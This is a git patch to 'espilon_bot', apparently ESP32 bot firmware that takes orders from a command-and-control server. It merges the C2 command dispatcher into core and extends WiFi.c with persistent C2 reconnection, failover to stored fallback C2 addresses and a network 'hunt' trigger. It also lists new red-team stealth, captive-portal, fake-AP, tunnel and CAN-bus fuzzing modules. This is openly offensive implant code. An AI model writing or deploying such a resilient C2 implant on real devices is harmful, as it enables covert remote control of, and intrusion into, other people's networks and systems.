From 6d45770d98a21d651f0220f2a3c285226b41fcd0 Mon Sep 17 00:00:00 2001 From: Eun0us Date: Sat, 28 Feb 2026 20:07:59 +0100 Subject: [PATCH] epsilon: merge command system into core + add 5 new modules Move command registry from components/command/ into components/core/. New modules: mod_canbus, mod_honeypot, mod_fallback, mod_redteam, mod_ota. Replace mod_proxy with tun_core (multiplexed SOCKS5 tunnel). Kconfig extended with per-module settings and async worker config. --- espilon_bot/components/command/CMakeLists.txt | 7 - espilon_bot/components/command/command.h | 59 - .../components/command/command_async.c | 108 -- espilon_bot/components/core/CMakeLists.txt | 11 +- espilon_bot/components/core/WiFi.c | 346 ++++- .../components/{command => core}/command.c | 54 +- espilon_bot/components/core/command_async.c | 204 +++ espilon_bot/components/core/crypto.c | 3 +- espilon_bot/components/core/event_format.h | 48 + espilon_bot/components/core/gprs.c | 173 ++- espilon_bot/components/core/messages.c | 8 +- espilon_bot/components/core/nanoPB/c2.pb.h | 4 +- espilon_bot/components/core/process.c | 1 - espilon_bot/components/core/utils.h | 64 +- .../components/mod_canbus/CMakeLists.txt | 27 + espilon_bot/components/mod_canbus/README.md | 341 +++++ .../components/mod_canbus/canbus_config.c | 319 ++++ .../components/mod_canbus/canbus_config.h | 42 + .../components/mod_canbus/canbus_driver.c | 815 ++++++++++ .../components/mod_canbus/canbus_driver.h | 117 ++ .../components/mod_canbus/canbus_fuzz.c | 359 +++++ .../components/mod_canbus/canbus_fuzz.h | 42 + .../components/mod_canbus/canbus_isotp.c | 416 +++++ .../components/mod_canbus/canbus_isotp.h | 70 + .../components/mod_canbus/canbus_obd.c | 357 +++++ .../components/mod_canbus/canbus_obd.h | 48 + .../components/mod_canbus/canbus_uds.c | 343 +++++ .../components/mod_canbus/canbus_uds.h | 101 ++ .../components/mod_canbus/cmd_canbus.c | 1363 +++++++++++++++++ .../components/mod_canbus/cmd_canbus.h | 7 + .../components/mod_fakeAP/CMakeLists.txt | 2 +- .../components/mod_fakeAP/cmd_fakeAP.c | 18 +- .../components/mod_fakeAP/mod_netsniff.c | 25 +- .../components/mod_fakeAP/mod_web_server.c | 16 +- .../components/mod_fallback/CMakeLists.txt | 5 + .../components/mod_fallback/cmd_fallback.c | 172 +++ .../components/mod_fallback/cmd_fallback.h | 8 + .../components/mod_fallback/fb_captive.c | 271 ++++ .../components/mod_fallback/fb_captive.h | 24 + .../components/mod_fallback/fb_config.c | 454 ++++++ .../components/mod_fallback/fb_config.h | 66 + espilon_bot/components/mod_fallback/fb_hunt.c | 703 +++++++++ espilon_bot/components/mod_fallback/fb_hunt.h | 65 + .../components/mod_fallback/fb_stealth.c | 253 +++ .../components/mod_fallback/fb_stealth.h | 37 + .../components/mod_honeypot/CMakeLists.txt | 6 + .../components/mod_honeypot/cmd_honeypot.c | 308 ++++ .../components/mod_honeypot/cmd_honeypot.h | 8 + .../components/mod_honeypot/hp_config.c | 204 +++ .../components/mod_honeypot/hp_config.h | 29 + .../components/mod_honeypot/hp_net_monitor.c | 331 ++++ .../components/mod_honeypot/hp_net_monitor.h | 13 + .../components/mod_honeypot/hp_tcp_services.c | 204 +++ .../components/mod_honeypot/hp_tcp_services.h | 30 + .../components/mod_honeypot/hp_wifi_monitor.c | 320 ++++ .../components/mod_honeypot/hp_wifi_monitor.h | 13 + .../mod_honeypot/services/svc_common.h | 41 + .../mod_honeypot/services/svc_ftp.c | 68 + .../mod_honeypot/services/svc_http.c | 106 ++ .../mod_honeypot/services/svc_ssh.c | 42 + .../mod_honeypot/services/svc_telnet.c | 60 + .../components/mod_network/CMakeLists.txt | 10 +- .../components/mod_network/cmd_network.c | 163 +- espilon_bot/components/mod_network/mod_arp.c | 290 ++-- espilon_bot/components/mod_network/mod_ping.c | 353 +++-- .../components/mod_network/mod_proxy.c | 200 --- .../components/mod_network/net_utils.h | 7 +- espilon_bot/components/mod_network/tun_core.c | 795 ++++++++++ espilon_bot/components/mod_network/tun_core.h | 126 ++ espilon_bot/components/mod_ota/CMakeLists.txt | 5 + espilon_bot/components/mod_ota/cmd_ota.c | 159 ++ espilon_bot/components/mod_ota/cmd_ota.h | 3 + .../components/mod_recon/CMakeLists.txt | 49 +- espilon_bot/components/mod_recon/mod_cam.c | 18 +- espilon_bot/components/mod_recon/mod_mlat.c | 1 - espilon_bot/components/mod_recon/mod_trilat.c | 17 +- .../components/mod_redteam/CMakeLists.txt | 5 + .../components/mod_redteam/cmd_redteam.c | 319 ++++ .../components/mod_redteam/cmd_redteam.h | 8 + .../components/mod_redteam/rt_captive.c | 291 ++++ .../components/mod_redteam/rt_captive.h | 30 + .../components/mod_redteam/rt_config.c | 383 +++++ .../components/mod_redteam/rt_config.h | 83 + espilon_bot/components/mod_redteam/rt_hunt.c | 726 +++++++++ espilon_bot/components/mod_redteam/rt_hunt.h | 61 + espilon_bot/components/mod_redteam/rt_mesh.c | 296 ++++ espilon_bot/components/mod_redteam/rt_mesh.h | 42 + .../components/mod_redteam/rt_stealth.c | 272 ++++ .../components/mod_redteam/rt_stealth.h | 54 + .../components/mod_system/CMakeLists.txt | 2 +- .../components/mod_system/cmd_system.c | 21 +- espilon_bot/main/CMakeLists.txt | 2 +- espilon_bot/main/Kconfig | 298 +++- espilon_bot/main/bot-lwip.c | 46 +- 94 files changed, 13997 insertions(+), 897 deletions(-) delete mode 100644 espilon_bot/components/command/CMakeLists.txt delete mode 100644 espilon_bot/components/command/command.h delete mode 100644 espilon_bot/components/command/command_async.c rename espilon_bot/components/{command => core}/command.c (74%) create mode 100644 espilon_bot/components/core/command_async.c create mode 100644 espilon_bot/components/core/event_format.h create mode 100644 espilon_bot/components/mod_canbus/CMakeLists.txt create mode 100644 espilon_bot/components/mod_canbus/README.md create mode 100644 espilon_bot/components/mod_canbus/canbus_config.c create mode 100644 espilon_bot/components/mod_canbus/canbus_config.h create mode 100644 espilon_bot/components/mod_canbus/canbus_driver.c create mode 100644 espilon_bot/components/mod_canbus/canbus_driver.h create mode 100644 espilon_bot/components/mod_canbus/canbus_fuzz.c create mode 100644 espilon_bot/components/mod_canbus/canbus_fuzz.h create mode 100644 espilon_bot/components/mod_canbus/canbus_isotp.c create mode 100644 espilon_bot/components/mod_canbus/canbus_isotp.h create mode 100644 espilon_bot/components/mod_canbus/canbus_obd.c create mode 100644 espilon_bot/components/mod_canbus/canbus_obd.h create mode 100644 espilon_bot/components/mod_canbus/canbus_uds.c create mode 100644 espilon_bot/components/mod_canbus/canbus_uds.h create mode 100644 espilon_bot/components/mod_canbus/cmd_canbus.c create mode 100644 espilon_bot/components/mod_canbus/cmd_canbus.h create mode 100644 espilon_bot/components/mod_fallback/CMakeLists.txt create mode 100644 espilon_bot/components/mod_fallback/cmd_fallback.c create mode 100644 espilon_bot/components/mod_fallback/cmd_fallback.h create mode 100644 espilon_bot/components/mod_fallback/fb_captive.c create mode 100644 espilon_bot/components/mod_fallback/fb_captive.h create mode 100644 espilon_bot/components/mod_fallback/fb_config.c create mode 100644 espilon_bot/components/mod_fallback/fb_config.h create mode 100644 espilon_bot/components/mod_fallback/fb_hunt.c create mode 100644 espilon_bot/components/mod_fallback/fb_hunt.h create mode 100644 espilon_bot/components/mod_fallback/fb_stealth.c create mode 100644 espilon_bot/components/mod_fallback/fb_stealth.h create mode 100644 espilon_bot/components/mod_honeypot/CMakeLists.txt create mode 100644 espilon_bot/components/mod_honeypot/cmd_honeypot.c create mode 100644 espilon_bot/components/mod_honeypot/cmd_honeypot.h create mode 100644 espilon_bot/components/mod_honeypot/hp_config.c create mode 100644 espilon_bot/components/mod_honeypot/hp_config.h create mode 100644 espilon_bot/components/mod_honeypot/hp_net_monitor.c create mode 100644 espilon_bot/components/mod_honeypot/hp_net_monitor.h create mode 100644 espilon_bot/components/mod_honeypot/hp_tcp_services.c create mode 100644 espilon_bot/components/mod_honeypot/hp_tcp_services.h create mode 100644 espilon_bot/components/mod_honeypot/hp_wifi_monitor.c create mode 100644 espilon_bot/components/mod_honeypot/hp_wifi_monitor.h create mode 100644 espilon_bot/components/mod_honeypot/services/svc_common.h create mode 100644 espilon_bot/components/mod_honeypot/services/svc_ftp.c create mode 100644 espilon_bot/components/mod_honeypot/services/svc_http.c create mode 100644 espilon_bot/components/mod_honeypot/services/svc_ssh.c create mode 100644 espilon_bot/components/mod_honeypot/services/svc_telnet.c delete mode 100644 espilon_bot/components/mod_network/mod_proxy.c create mode 100644 espilon_bot/components/mod_network/tun_core.c create mode 100644 espilon_bot/components/mod_network/tun_core.h create mode 100644 espilon_bot/components/mod_ota/CMakeLists.txt create mode 100644 espilon_bot/components/mod_ota/cmd_ota.c create mode 100644 espilon_bot/components/mod_ota/cmd_ota.h create mode 100644 espilon_bot/components/mod_redteam/CMakeLists.txt create mode 100644 espilon_bot/components/mod_redteam/cmd_redteam.c create mode 100644 espilon_bot/components/mod_redteam/cmd_redteam.h create mode 100644 espilon_bot/components/mod_redteam/rt_captive.c create mode 100644 espilon_bot/components/mod_redteam/rt_captive.h create mode 100644 espilon_bot/components/mod_redteam/rt_config.c create mode 100644 espilon_bot/components/mod_redteam/rt_config.h create mode 100644 espilon_bot/components/mod_redteam/rt_hunt.c create mode 100644 espilon_bot/components/mod_redteam/rt_hunt.h create mode 100644 espilon_bot/components/mod_redteam/rt_mesh.c create mode 100644 espilon_bot/components/mod_redteam/rt_mesh.h create mode 100644 espilon_bot/components/mod_redteam/rt_stealth.c create mode 100644 espilon_bot/components/mod_redteam/rt_stealth.h diff --git a/espilon_bot/components/command/CMakeLists.txt b/espilon_bot/components/command/CMakeLists.txt deleted file mode 100644 index 36ec1c6..0000000 --- a/espilon_bot/components/command/CMakeLists.txt +++ /dev/null @@ -1,7 +0,0 @@ -idf_component_register( - SRCS - command.c - command_async.c - INCLUDE_DIRS . - REQUIRES freertos core -) diff --git a/espilon_bot/components/command/command.h b/espilon_bot/components/command/command.h deleted file mode 100644 index 2da4dde..0000000 --- a/espilon_bot/components/command/command.h +++ /dev/null @@ -1,59 +0,0 @@ -#pragma once - -#include -#include - -#include "esp_err.h" // 🔥 OBLIGATOIRE pour esp_err_t -#include "c2.pb.h" - -/* ============================================================ - * Limits - * ============================================================ */ -#define MAX_COMMANDS 32 -#define MAX_ASYNC_ARGS 8 -#define MAX_ASYNC_ARG_LEN 64 - -/* ============================================================ - * Command handler prototype - * ============================================================ */ -typedef esp_err_t (*command_handler_t)( - int argc, - char **argv, - const char *request_id, - void *ctx -); - -/* ============================================================ - * Command definition - * ============================================================ */ -typedef struct { - const char *name; /* command name */ - const char *sub; /* subcommand name (optional) */ - const char *help; /* help text (optional) */ - int min_args; - int max_args; - command_handler_t handler; /* handler */ - void *ctx; /* optional context */ - bool async; /* async execution */ -} command_t; - -/* ============================================================ - * Registry - * ============================================================ */ -void command_register(const command_t *cmd); -void command_log_registry_summary(void); - -/* ============================================================ - * Dispatcher (called by process.c) - * ============================================================ */ -void command_process_pb(const c2_Command *cmd); - -/* ============================================================ - * Async support - * ============================================================ */ -void command_async_init(void); - -void command_async_enqueue( - const command_t *cmd, - const c2_Command *pb_cmd -); diff --git a/espilon_bot/components/command/command_async.c b/espilon_bot/components/command/command_async.c deleted file mode 100644 index e215908..0000000 --- a/espilon_bot/components/command/command_async.c +++ /dev/null @@ -1,108 +0,0 @@ -#include "command.h" -#include "utils.h" -#include "esp_log.h" -#include "freertos/FreeRTOS.h" -#include "freertos/task.h" -#include "freertos/queue.h" -#include - -static const char *TAG = "CMD_ASYNC"; - -/* ========================================================= - * Async job structure - * ========================================================= */ -typedef struct { - const command_t *cmd; - int argc; - char argv[MAX_ASYNC_ARGS][MAX_ASYNC_ARG_LEN]; - char *argv_ptrs[MAX_ASYNC_ARGS]; - char request_id[64]; -} async_job_t; - -static QueueHandle_t async_queue; - -/* ========================================================= - * Worker task - * ========================================================= */ -static void async_worker(void *arg) -{ - async_job_t job; - - while (1) { - if (xQueueReceive(async_queue, &job, portMAX_DELAY)) { - /* Recompute argv_ptrs to point into THIS copy's argv buffers. - * xQueueReceive copies the struct by value, so the old - * pointers (set at enqueue time) are now dangling. */ - for (int i = 0; i < job.argc; i++) { - job.argv_ptrs[i] = job.argv[i]; - } - - ESP_LOGI(TAG, "Async exec: %s", job.cmd->name); - - job.cmd->handler( - job.argc, - job.argv_ptrs, - job.request_id[0] ? job.request_id : NULL, - job.cmd->ctx - ); - } - } -} - -/* ========================================================= - * Init async system - * ========================================================= */ -void command_async_init(void) -{ - async_queue = xQueueCreate(8, sizeof(async_job_t)); - if (!async_queue) { - ESP_LOGE(TAG, "Failed to create async queue"); - return; - } - - xTaskCreate( - async_worker, - "cmd_async", - 4096, - NULL, - 5, - NULL - ); - - ESPILON_LOGI_PURPLE(TAG, "Async command system ready"); -} - -/* ========================================================= - * Enqueue async command - * ========================================================= */ -void command_async_enqueue(const command_t *cmd, - const c2_Command *pb_cmd) -{ - if (!cmd || !pb_cmd) return; - - async_job_t job = {0}; - - job.cmd = cmd; - job.argc = pb_cmd->argv_count; - if (job.argc > MAX_ASYNC_ARGS) - job.argc = MAX_ASYNC_ARGS; - - for (int i = 0; i < job.argc; i++) { - strncpy(job.argv[i], - pb_cmd->argv[i], - MAX_ASYNC_ARG_LEN - 1); - job.argv_ptrs[i] = job.argv[i]; - } - - if (pb_cmd->request_id[0]) { - strncpy(job.request_id, - pb_cmd->request_id, - sizeof(job.request_id) - 1); - } - - if (xQueueSend(async_queue, &job, 0) != pdTRUE) { - ESP_LOGE(TAG, "Async queue full"); - msg_error("cmd", "Async queue full", - pb_cmd->request_id); - } -} diff --git a/espilon_bot/components/core/CMakeLists.txt b/espilon_bot/components/core/CMakeLists.txt index f2f6b56..942c5b3 100644 --- a/espilon_bot/components/core/CMakeLists.txt +++ b/espilon_bot/components/core/CMakeLists.txt @@ -5,16 +5,21 @@ set(PRIV_REQUIRES_LIST mod_network mod_fakeAP mod_recon + mod_honeypot + mod_fallback + mod_redteam + mod_canbus esp_timer driver - command + freertos ) idf_component_register( SRCS "crypto.c" "process.c" "WiFi.c" "gprs.c" "messages.c" "com.c" + "command.c" "command_async.c" "nanoPB/c2.pb.c" - "nanoPB/pb_common.c" - "nanoPB/pb_encode.c" + "nanoPB/pb_common.c" + "nanoPB/pb_encode.c" "nanoPB/pb_decode.c" INCLUDE_DIRS "." "nanoPB" diff --git a/espilon_bot/components/core/WiFi.c b/espilon_bot/components/core/WiFi.c index 404ed68..f6db228 100644 --- a/espilon_bot/components/core/WiFi.c +++ b/espilon_bot/components/core/WiFi.c @@ -9,6 +9,7 @@ #include "esp_log.h" #include "freertos/FreeRTOS.h" #include "freertos/task.h" +#include "freertos/timers.h" #include "esp_wifi.h" #include "esp_event.h" #include "esp_netif.h" @@ -17,18 +18,141 @@ #include "pb_decode.h" #include "freertos/semphr.h" +#include #include "utils.h" +#ifdef CONFIG_MODULE_FALLBACK +#include "fb_config.h" +#include "fb_hunt.h" +#endif + int sock = -1; SemaphoreHandle_t sock_mutex = NULL; +/* Fallback hunt flag: when true, WiFi.c skips its own reconnect logic */ +atomic_bool fb_active = false; + #ifdef CONFIG_NETWORK_WIFI static const char *TAG = "CORE_WIFI"; - - #define RX_BUF_SIZE 4096 #define RECONNECT_DELAY_MS 5000 +#define RX_TIMEOUT_S 10 + +/* ========================================================= + * WiFi reconnect with exponential backoff + full restart + * ========================================================= */ +#define WIFI_BACKOFF_INIT_MS 1000 +#define WIFI_BACKOFF_MAX_MS 30000 +#define WIFI_MAX_RETRIES 10 /* full restart after N failures */ + +static int wifi_retry_count = 0; +static uint32_t wifi_backoff_ms = WIFI_BACKOFF_INIT_MS; +static TimerHandle_t reconnect_timer = NULL; + +static void wifi_reconnect_cb(TimerHandle_t t) +{ + ESP_LOGI(TAG, "Reconnect attempt %d (backoff %lums)", + wifi_retry_count + 1, (unsigned long)wifi_backoff_ms); + + if (wifi_retry_count >= WIFI_MAX_RETRIES) { + ESP_LOGW(TAG, "Max retries reached — full WiFi restart"); + esp_wifi_stop(); + vTaskDelay(pdMS_TO_TICKS(500)); + esp_wifi_start(); + esp_wifi_connect(); + wifi_retry_count = 0; + wifi_backoff_ms = WIFI_BACKOFF_INIT_MS; + return; + } + + esp_wifi_connect(); +} + +/* ========================================================= + * WiFi event handler — backoff reconnect on disconnect + * ========================================================= */ +static void wifi_event_handler(void *arg, esp_event_base_t event_base, + int32_t event_id, void *event_data) +{ + if (event_base == WIFI_EVENT && event_id == WIFI_EVENT_STA_DISCONNECTED) { + wifi_event_sta_disconnected_t *evt = + (wifi_event_sta_disconnected_t *)event_data; + + /* If fallback hunt is active, it handles WiFi — skip reconnect */ + if (fb_active) { + ESP_LOGI(TAG, "WiFi disconnected (reason=%d, fb_active — skipping reconnect)", + evt->reason); + return; + } + +#ifdef CONFIG_MODULE_FAKEAP + /* If FakeAP is active, don't reconnect STA (would interfere with AP mode) */ + if (fakeap_active) { + ESP_LOGI(TAG, "WiFi disconnected (reason=%d, fakeAP active — skipping reconnect)", + evt->reason); + return; + } +#endif + + ESP_LOGW(TAG, "WiFi disconnected (reason=%d), retry in %lums", + evt->reason, (unsigned long)wifi_backoff_ms); + + wifi_retry_count++; + +#if defined(CONFIG_FB_AUTO_HUNT) && defined(CONFIG_FB_WIFI_FAIL_THRESHOLD) + if (wifi_retry_count >= CONFIG_FB_WIFI_FAIL_THRESHOLD && !fb_active) { + ESP_LOGW(TAG, "WiFi failures >= %d — triggering fallback hunt", + CONFIG_FB_WIFI_FAIL_THRESHOLD); + extern void fb_hunt_trigger(void); + fb_hunt_trigger(); + return; + } +#endif + + /* Schedule reconnect with backoff */ + if (reconnect_timer) { + xTimerChangePeriod(reconnect_timer, + pdMS_TO_TICKS(wifi_backoff_ms), + 0); + xTimerStart(reconnect_timer, 0); + } + + /* Exponential backoff: 1s → 2s → 4s → ... → 30s */ + wifi_backoff_ms *= 2; + if (wifi_backoff_ms > WIFI_BACKOFF_MAX_MS) + wifi_backoff_ms = WIFI_BACKOFF_MAX_MS; + } + + if (event_base == IP_EVENT && event_id == IP_EVENT_STA_GOT_IP) { + ip_event_got_ip_t *evt = (ip_event_got_ip_t *)event_data; + ESP_LOGI(TAG, "Got IP: " IPSTR, IP2STR(&evt->ip_info.ip)); + + /* Reset backoff on successful connection */ + wifi_retry_count = 0; + wifi_backoff_ms = WIFI_BACKOFF_INIT_MS; + + if (reconnect_timer) + xTimerStop(reconnect_timer, 0); + } +} + +/* ========================================================= + * Pause/resume reconnect (used by Red Team hunt module) + * ========================================================= */ +void wifi_pause_reconnect(void) +{ + if (reconnect_timer) + xTimerStop(reconnect_timer, 0); + ESP_LOGI(TAG, "WiFi reconnect paused"); +} + +void wifi_resume_reconnect(void) +{ + wifi_retry_count = 0; + wifi_backoff_ms = WIFI_BACKOFF_INIT_MS; + ESP_LOGI(TAG, "WiFi reconnect resumed (backoff reset)"); +} /* ========================================================= * WiFi init @@ -43,6 +167,16 @@ void wifi_init(void) wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT(); ESP_ERROR_CHECK(esp_wifi_init(&cfg)); + /* Reconnect timer (one-shot, started on disconnect) */ + reconnect_timer = xTimerCreate("wifi_reconn", pdMS_TO_TICKS(1000), + pdFALSE, NULL, wifi_reconnect_cb); + + /* Register event handlers */ + ESP_ERROR_CHECK(esp_event_handler_register(WIFI_EVENT, WIFI_EVENT_STA_DISCONNECTED, + &wifi_event_handler, NULL)); + ESP_ERROR_CHECK(esp_event_handler_register(IP_EVENT, IP_EVENT_STA_GOT_IP, + &wifi_event_handler, NULL)); + wifi_config_t wifi_config = { .sta = { .ssid = CONFIG_WIFI_SSID, @@ -83,6 +217,10 @@ static bool tcp_connect(void) return false; } + /* Recv timeout: prevents blocking forever if C2 dies without FIN */ + struct timeval tv = { .tv_sec = RX_TIMEOUT_S, .tv_usec = 0 }; + lwip_setsockopt(new_sock, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv)); + xSemaphoreTake(sock_mutex, portMAX_DELAY); sock = new_sock; xSemaphoreGive(sock_mutex); @@ -94,6 +232,71 @@ static bool tcp_connect(void) } +/* ========================================================= + * Server identity verification (challenge-response AEAD) + * + * Sends HELLO:device_id, server responds with AEAD-encrypted + * challenge. If we can decrypt it (tag OK), the server has + * the correct key and is authentic. + * ========================================================= */ +#ifdef CONFIG_C2_VERIFY_SERVER +static bool server_verify(void) +{ + /* 1) Send HELLO:device_id\n */ + char hello[128]; + snprintf(hello, sizeof(hello), "HELLO:%s\n", CONFIG_DEVICE_ID); + + xSemaphoreTake(sock_mutex, portMAX_DELAY); + int s = sock; + xSemaphoreGive(sock_mutex); + + if (lwip_write(s, hello, strlen(hello)) <= 0) { + ESP_LOGE(TAG, "server_verify: failed to send HELLO"); + return false; + } + + /* 2) Read server challenge (recv timeout already set to 10s) */ + uint8_t rx_buf[256]; + int len = lwip_recv(s, rx_buf, sizeof(rx_buf) - 1, 0); + if (len <= 0) { + ESP_LOGE(TAG, "server_verify: no challenge received"); + return false; + } + rx_buf[len] = '\0'; + + /* Strip trailing newline/CR */ + while (len > 0 && (rx_buf[len - 1] == '\n' || rx_buf[len - 1] == '\r')) + rx_buf[--len] = '\0'; + + if (len == 0) { + ESP_LOGE(TAG, "server_verify: empty challenge"); + return false; + } + + /* 3) Base64 decode */ + size_t decoded_len = 0; + char *decoded = base64_decode((char *)rx_buf, &decoded_len); + if (!decoded || decoded_len < 28) { /* nonce(12) + tag(16) minimum */ + ESP_LOGE(TAG, "server_verify: base64 decode failed"); + free(decoded); + return false; + } + + /* 4) Decrypt — AEAD tag verification proves server identity */ + uint8_t plain[256]; + int plain_len = crypto_decrypt((uint8_t *)decoded, decoded_len, + plain, sizeof(plain)); + free(decoded); + + if (plain_len < 0) { + ESP_LOGE(TAG, "server_verify: AEAD verification FAILED"); + return false; + } + + return true; +} +#endif /* CONFIG_C2_VERIFY_SERVER */ + /* ========================================================= * Handle incoming frame * ========================================================= */ @@ -111,8 +314,9 @@ static void handle_frame(const uint8_t *buf, size_t len) /* ========================================================= * TCP RX loop + * Returns: true = still connected, false = disconnected * ========================================================= */ -static void tcp_rx_loop(void) +static bool tcp_rx_loop(void) { static uint8_t rx_buf[RX_BUF_SIZE]; @@ -120,28 +324,103 @@ static void tcp_rx_loop(void) int current_sock = sock; xSemaphoreGive(sock_mutex); - if (current_sock < 0) return; + if (current_sock < 0) return false; int len = lwip_recv(current_sock, rx_buf, sizeof(rx_buf) - 1, 0); - if (len <= 0) { - ESP_LOGW(TAG, "RX failed / disconnected"); + if (len < 0) { + /* Timeout is normal (EAGAIN/EWOULDBLOCK) — not a disconnect */ + if (errno == EAGAIN || errno == EWOULDBLOCK) { + return true; + } + ESP_LOGW(TAG, "RX error: errno=%d", errno); xSemaphoreTake(sock_mutex, portMAX_DELAY); lwip_close(sock); sock = -1; xSemaphoreGive(sock_mutex); - return; + return false; + } + if (len == 0) { + ESP_LOGW(TAG, "RX: peer closed connection"); + xSemaphoreTake(sock_mutex, portMAX_DELAY); + lwip_close(sock); + sock = -1; + xSemaphoreGive(sock_mutex); + return false; } /* IMPORTANT: string termination for strtok */ rx_buf[len] = '\0'; - char *line = strtok((char *)rx_buf, "\n"); + char *saveptr = NULL; + char *line = strtok_r((char *)rx_buf, "\n", &saveptr); while (line) { handle_frame((uint8_t *)line, strlen(line)); - line = strtok(NULL, "\n"); + line = strtok_r(NULL, "\n", &saveptr); } + return true; } +/* ========================================================= + * C2 failover: try NVS fallback addresses on same network + * ========================================================= */ +#ifdef CONFIG_FB_AUTO_HUNT + +static bool try_fallback_c2s(void) +{ + fb_c2_addr_t addrs[CONFIG_FB_MAX_C2_FALLBACKS]; + int count = fb_config_c2_list(addrs, CONFIG_FB_MAX_C2_FALLBACKS); + + for (int i = 0; i < count; i++) { + char ip_buf[48]; + int port = CONFIG_SERVER_PORT; + strncpy(ip_buf, addrs[i].addr, sizeof(ip_buf) - 1); + ip_buf[sizeof(ip_buf) - 1] = '\0'; + + /* Parse "ip:port" format */ + char *colon = strrchr(ip_buf, ':'); + if (colon) { + *colon = '\0'; + port = atoi(colon + 1); + if (port <= 0 || port > 65535) port = CONFIG_SERVER_PORT; + } + + ESP_LOGI(TAG, "Trying C2 fallback: %s:%d", ip_buf, port); + + /* Close current socket */ + xSemaphoreTake(sock_mutex, portMAX_DELAY); + if (sock >= 0) { lwip_close(sock); sock = -1; } + xSemaphoreGive(sock_mutex); + + /* Try connect to fallback C2 */ + struct sockaddr_in server_addr = {0}; + int new_sock = lwip_socket(AF_INET, SOCK_STREAM, 0); + if (new_sock < 0) continue; + + server_addr.sin_family = AF_INET; + server_addr.sin_port = htons(port); + server_addr.sin_addr.s_addr = inet_addr(ip_buf); + + if (lwip_connect(new_sock, (struct sockaddr *)&server_addr, + sizeof(server_addr)) != 0) { + lwip_close(new_sock); + continue; + } + + struct timeval tv = { .tv_sec = RX_TIMEOUT_S, .tv_usec = 0 }; + lwip_setsockopt(new_sock, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv)); + + xSemaphoreTake(sock_mutex, portMAX_DELAY); + sock = new_sock; + xSemaphoreGive(sock_mutex); + + ESP_LOGI(TAG, "C2 fallback %s:%d connected", ip_buf, port); + return true; + } + return false; +} + +#endif /* CONFIG_FB_AUTO_HUNT */ + /* ========================================================= * Main TCP client task * ========================================================= */ @@ -150,17 +429,64 @@ void tcp_client_task(void *pvParameters) if (!sock_mutex) sock_mutex = xSemaphoreCreateMutex(); +#ifdef CONFIG_FB_AUTO_HUNT + int tcp_fail_count = 0; +#endif + while (1) { + /* If fallback hunt is active, wait for it to finish */ + while (fb_active) { + vTaskDelay(pdMS_TO_TICKS(1000)); + } + if (!tcp_connect()) { +#ifdef CONFIG_FB_AUTO_HUNT + tcp_fail_count++; + ESP_LOGW(TAG, "TCP connect failed (%d/%d)", + tcp_fail_count, CONFIG_FB_TCP_FAIL_THRESHOLD); + if (tcp_fail_count >= CONFIG_FB_TCP_FAIL_THRESHOLD && !fb_active) { + /* Level 1: C2 failover on same network */ + if (try_fallback_c2s()) { + tcp_fail_count = 0; + goto handshake; + } + /* Level 2: full network hunt */ + ESP_LOGW(TAG, "All C2 unreachable — triggering fallback hunt"); + fb_hunt_trigger(); + tcp_fail_count = 0; + continue; + } +#endif vTaskDelay(pdMS_TO_TICKS(RECONNECT_DELAY_MS)); continue; } + +#ifdef CONFIG_FB_AUTO_HUNT + tcp_fail_count = 0; +#endif + +#ifdef CONFIG_C2_VERIFY_SERVER + if (!server_verify()) { + ESP_LOGE(TAG, "Server verification FAILED - possible MITM"); + xSemaphoreTake(sock_mutex, portMAX_DELAY); + lwip_close(sock); + sock = -1; + xSemaphoreGive(sock_mutex); + vTaskDelay(pdMS_TO_TICKS(RECONNECT_DELAY_MS)); + continue; + } + ESPILON_LOGI_PURPLE(TAG, "Server identity verified (AEAD challenge OK)"); +#endif + +#ifdef CONFIG_FB_AUTO_HUNT + handshake: +#endif msg_info(TAG, CONFIG_DEVICE_ID, NULL); ESP_LOGI(TAG, "Handshake done"); while (sock >= 0) { - tcp_rx_loop(); + if (!tcp_rx_loop()) break; vTaskDelay(1); } diff --git a/espilon_bot/components/command/command.c b/espilon_bot/components/core/command.c similarity index 74% rename from espilon_bot/components/command/command.c rename to espilon_bot/components/core/command.c index 0bff82e..7c3b5a6 100644 --- a/espilon_bot/components/command/command.c +++ b/espilon_bot/components/core/command.c @@ -1,4 +1,3 @@ -#include "command.h" #include "utils.h" #include "esp_log.h" @@ -63,12 +62,20 @@ void command_log_registry_summary(void) for (size_t i = 0; i < registry_count; i++) { const char *name = registry[i] && registry[i]->name ? registry[i]->name : "?"; + const char *sub = (registry[i] && registry[i]->sub && registry[i]->sub[0]) + ? registry[i]->sub : NULL; const char *sep = (i == 0) ? "" : ", "; - int n = snprintf(buf + off, sizeof(buf) - (size_t)off, + int n; + if (sub) { + n = snprintf(buf + off, sizeof(buf) - (size_t)off, + "%s%s %s", sep, name, sub); + } else { + n = snprintf(buf + off, sizeof(buf) - (size_t)off, "%s%s", sep, name); + } if (n < 0 || n >= (int)(sizeof(buf) - (size_t)off)) { if (off < (int)sizeof(buf) - 4) { - strcpy(buf + (sizeof(buf) - 4), "..."); + memcpy(buf + (sizeof(buf) - 4), "...", 4); } break; } @@ -158,43 +165,58 @@ void command_process_pb(const c2_Command *cmd) if (strcmp(c->name, name) != 0) continue; - if (argc < c->min_args || argc > c->max_args) { + /* + * Sub-command matching: if the command has a .sub field, + * argv[0] must match it. The sub is consumed (argv shifted + * by 1) before passing to the handler. + */ + int sub_offset = 0; + if (c->sub && c->sub[0]) { + if (argc < 1 || strcmp(cmd->argv[0], c->sub) != 0) + continue; /* not this sub-command, try next */ + sub_offset = 1; + } + + int effective_argc = argc - sub_offset; + + if (effective_argc < c->min_args || effective_argc > c->max_args) { msg_error("cmd", "Invalid argument count", reqid_or_null); return; } - ESP_LOGI(TAG, "Execute: %s (argc=%d)", name, argc); + if (c->sub && c->sub[0]) { + ESP_LOGI(TAG, "Execute: %s %s (argc=%d)", name, c->sub, effective_argc); + } else { + ESP_LOGI(TAG, "Execute: %s (argc=%d)", name, effective_argc); + } if (c->async) { - /* Ton async copie déjà argv/request_id dans une queue => OK */ - command_async_enqueue(c, cmd); + command_async_enqueue(c, cmd, sub_offset); return; } /* ================================ - * SYNC PATH (FIX): - * Ne PAS caster cmd->argv en char** - * On construit argv_ptrs[] depuis cmd->argv[i] + * SYNC PATH: + * Build argv_ptrs[] from cmd->argv, skipping sub_offset * ================================ */ - if (argc > COMMAND_MAX_ARGS) { + if (effective_argc > COMMAND_MAX_ARGS) { msg_error("cmd", "Too many args", reqid_or_null); return; } char *argv_ptrs[COMMAND_MAX_ARGS] = {0}; - for (int a = 0; a < 